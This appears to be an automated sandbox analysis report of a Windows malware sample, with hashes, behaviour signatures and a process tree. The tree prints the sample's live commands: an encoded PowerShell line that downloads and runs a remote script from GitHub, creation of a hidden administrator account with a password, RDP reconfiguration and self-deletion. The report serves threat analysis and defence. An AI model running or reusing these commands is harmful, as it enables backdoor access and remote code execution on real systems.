Analysis

  • max time kernel
    94s
  • max time network
    119s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    13-07-2021 01:24

General

  • Target

    f250cb14a5ab5ada5aa6d9d18a20b075.exe

  • Size

    491KB

  • MD5

    f250cb14a5ab5ada5aa6d9d18a20b075

  • SHA1

    789475ac6d5fda814f46a26246d0f931f41b6ba3

  • SHA256

    fe65170a6f6cd5ba0df997262bca40350b650067db206bc83bfaf80da94bba9e

  • SHA512

    f3119126a9c29e71f1c2eb531e61bde10eb713f3e46128d4dabddde8b54152555490b51eabbfcfc82c7906cf439124e16cb26f50e939e88d830ba048c4008147

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f250cb14a5ab5ada5aa6d9d18a20b075.exe
    "C:\Users\Admin\AppData\Local\Temp\f250cb14a5ab5ada5aa6d9d18a20b075.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2840
    • C:\Users\Admin\AppData\Local\Temp\f250cb14a5ab5ada5aa6d9d18a20b075.exe
      C:\Users\Admin\AppData\Local\Temp\f250cb14a5ab5ada5aa6d9d18a20b075.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Users\Admin\AppData\Local\Temp\CIo3LmpDP8.exe
        "C:\Users\Admin\AppData\Local\Temp\CIo3LmpDP8.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4016
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
            5⤵
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3148
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n2hiqqri\n2hiqqri.cmdline"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3748
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB1F.tmp" "c:\Users\Admin\AppData\Local\Temp\n2hiqqri\CSC72CDF387873646DFBE82C45218898BF9.TMP"
                7⤵
                  PID:3464
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1560
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1740
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3064
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                6⤵
                  PID:3428
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                  6⤵
                  • Modifies registry key
                  PID:3992
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                  6⤵
                    PID:3648
                  • C:\Windows\system32\net.exe
                    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2688
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                      7⤵
                        PID:3476
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3456
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2152
                        • C:\Windows\system32\net.exe
                          net start rdpdr
                          8⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2784
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start rdpdr
                            9⤵
                              PID:3544
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2044
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          7⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3752
                          • C:\Windows\system32\net.exe
                            net start TermService
                            8⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3732
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              9⤵
                                PID:784
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          6⤵
                            PID:780
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            6⤵
                              PID:3948
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f250cb14a5ab5ada5aa6d9d18a20b075.exe"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3916
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          4⤵
                          • Delays execution with timeout.exe
                          PID:2348
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                      PID:3836
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 000000 /del
                        2⤵
                          PID:2148
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                            3⤵
                              PID:3576
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc qircnO4G /add
                          1⤵
                            PID:3948
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc qircnO4G /add
                              2⤵
                                PID:3004
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc qircnO4G /add
                                  3⤵
                                    PID:2884
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                1⤵
                                  PID:3580
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                    2⤵
                                      PID:2204
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        3⤵
                                          PID:2136
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                      1⤵
                                        PID:2512
                                        • C:\Windows\system32\net.exe
                                          net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                          2⤵
                                            PID:2184
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                              3⤵
                                                PID:2244
                                          • C:\Windows\System32\cmd.exe
                                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                            1⤵
                                              PID:1512
                                              • C:\Windows\system32\net.exe
                                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                2⤵
                                                  PID:2148
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    3⤵
                                                      PID:2764
                                                • C:\Windows\System32\cmd.exe
                                                  cmd /C net.exe user WgaUtilAcc qircnO4G
                                                  1⤵
                                                    PID:3576
                                                    • C:\Windows\system32\net.exe
                                                      net.exe user WgaUtilAcc qircnO4G
                                                      2⤵
                                                        PID:3004
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user WgaUtilAcc qircnO4G
                                                          3⤵
                                                            PID:2448
                                                      • C:\Windows\System32\cmd.exe
                                                        cmd.exe /C wmic path win32_VideoController get name
                                                        1⤵
                                                          PID:644
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic path win32_VideoController get name
                                                            2⤵
                                                            • Modifies data under HKEY_USERS
                                                            PID:3580
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd.exe /C wmic CPU get NAME
                                                          1⤵
                                                            PID:1040
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic CPU get NAME
                                                              2⤵
                                                                PID:1740
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                              1⤵
                                                                PID:3992
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                  2⤵
                                                                    PID:1512
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      3⤵
                                                                      • Blocklisted process makes network request
                                                                      • Drops file in Program Files directory
                                                                      • Drops file in Windows directory
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:3916

                                                                Network

                                                                MITRE ATT&CK Enterprise v6

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • memory/776-122-0x0000000000400000-0x0000000000495000-memory.dmp

                                                                  Filesize

                                                                  596KB

                                                                • memory/776-120-0x0000000000400000-0x0000000000495000-memory.dmp

                                                                  Filesize

                                                                  596KB

                                                                • memory/1560-242-0x0000020CB76E8000-0x0000020CB76EA000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1560-233-0x0000020CB76E6000-0x0000020CB76E8000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1560-210-0x0000020CB76E3000-0x0000020CB76E5000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1560-209-0x0000020CB76E0000-0x0000020CB76E2000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1740-282-0x00000196FA876000-0x00000196FA878000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1740-283-0x00000196FA878000-0x00000196FA87A000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1740-252-0x00000196FA870000-0x00000196FA872000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1740-253-0x00000196FA873000-0x00000196FA875000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1768-159-0x000001D036548000-0x000001D03654A000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1768-142-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                  Filesize

                                                                  4.9MB

                                                                • memory/1768-150-0x000001D04F030000-0x000001D04F2DA000-memory.dmp

                                                                  Filesize

                                                                  2.7MB

                                                                • memory/1768-152-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                  Filesize

                                                                  4.9MB

                                                                • memory/1768-153-0x000001D036540000-0x000001D036542000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1768-154-0x000001D036543000-0x000001D036545000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/1768-156-0x000001D036545000-0x000001D036546000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/1768-157-0x000001D036546000-0x000001D036547000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2840-116-0x00000000052E0000-0x00000000052E1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2840-114-0x0000000000A30000-0x0000000000A31000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2840-117-0x0000000005370000-0x0000000005371000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2840-118-0x00000000052B0000-0x00000000052B1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/2840-119-0x0000000005310000-0x0000000005319000-memory.dmp

                                                                  Filesize

                                                                  36KB

                                                                • memory/3064-329-0x0000013AE9228000-0x0000013AE922A000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3064-317-0x0000013AE9220000-0x0000013AE9222000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3064-318-0x0000013AE9223000-0x0000013AE9225000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3064-319-0x0000013AE9226000-0x0000013AE9228000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3148-192-0x00000188F77E0000-0x00000188F77E1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-179-0x00000188DDEE6000-0x00000188DDEE8000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3148-165-0x00000188DDEB0000-0x00000188DDEB1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-193-0x00000188DDEE8000-0x00000188DDEE9000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-168-0x00000188F61B0000-0x00000188F61B1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-191-0x00000188F7450000-0x00000188F7451000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-185-0x00000188DDF20000-0x00000188DDF21000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3148-169-0x00000188DDEE0000-0x00000188DDEE2000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3148-171-0x00000188DDEE3000-0x00000188DDEE5000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3916-423-0x000001F3C0976000-0x000001F3C0978000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3916-474-0x000001F3C0978000-0x000001F3C0979000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/3916-418-0x000001F3C0973000-0x000001F3C0975000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/3916-416-0x000001F3C0970000-0x000001F3C0972000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/4016-135-0x000000001C760000-0x000000001CD91000-memory.dmp

                                                                  Filesize

                                                                  6.2MB

                                                                • memory/4016-141-0x000000001E5F0000-0x000000001EA7D000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                • memory/4016-132-0x0000000000450000-0x0000000000451000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4016-136-0x000000001C350000-0x000000001C352000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                • memory/4016-137-0x000000001D770000-0x000000001D771000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4016-138-0x000000001D940000-0x000000001DDE5000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                • memory/4016-140-0x00000000010F0000-0x00000000010F1000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                • memory/4016-139-0x00000000010E0000-0x00000000010F0000-memory.dmp

                                                                  Filesize

                                                                  64KB